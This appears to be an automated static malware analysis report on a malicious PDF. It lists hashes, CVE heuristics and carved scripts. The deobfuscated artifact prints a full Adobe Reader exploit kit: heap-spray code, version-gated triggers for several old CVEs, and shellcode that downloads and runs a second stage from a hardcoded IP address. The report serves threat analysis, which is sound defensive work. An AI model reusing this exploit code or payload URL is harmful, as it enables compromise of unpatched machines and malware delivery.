Malicious PDF — malware analysis report

Static analysis result for SHA-256 77ce3523787b7999…

MALICIOUS

PDF

106.0 KB
MD5: 0502ef5b310d918cdebee58adf757aa6 SHA-1: b26e81938daecb8f6433540e2ac8cefc25c17229 SHA-256: 77ce3523787b7999214291baa0e00ed079321f3b86b21cc2479cd69cfe592fbe
610 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader to achieve code execution. The deobfuscated JavaScript attempts to download a second-stage payload from the URL http://199.255.236.212/xw.php?f=796&e=3. This indicates a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36749 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36749
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Character-table JavaScript eval stager high PDF_JS_CHAR_TABLE_EVAL_STAGER
    PDF JavaScript reconstructs an exploit stage by indexing into a small character table, appending hundreds of one-character fragments, joining the array, and evaluating the result. This static fallback fires only after the bounded decoder recovers an exploit-like stage, so it catches this obfuscation even when no single CVE API signature is available.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://199.255.236.212/xw.php?f=796&e=3 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
3c591023046d37506a9f0a263e000a5a323ba291ff9f79e3906840ec5890f560
pdf-javascript-stream PDF /JS object 76 at offset 0x2C2 107610 bytes
Detection
ClamAV: Pdf.Exploit.Agent-36749
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
x='e3wgt';
t='hjkghjklhjkl';
e=t.indexOf;
c=
'Uew08n6_+:fW72*S9=g@V b1(uop4/P"d%k3Kl{zC-jt|<x[Mya&h>qsI"E}A,]cDmv)Gi.r;5QN';
e=e('ghjkghj');
e=e.eval;
s=[];
x='z';
v="";
b=e;
n=c;
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... (truncated)
char_table_stage_000.js
2c602c9fbe9948b31163bc1d09a1c974db21e0e9cd13e303ccae484b0a9b0efd
deobfuscated-js char-table indexed JavaScript (PDF /JS object 76) at offset 0x2F1 3870 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u312f%u3939%u322e%u3535%u322e%u3633%u322e%u3231%u782f%u2e77%u6870%u3f70%u3d66%u3937%u2636%u3d65%u0033%u0000";function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd("p@111111111111111111111111 : yyyy111",new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=="EScript"){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape("%u9090%u9090");var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}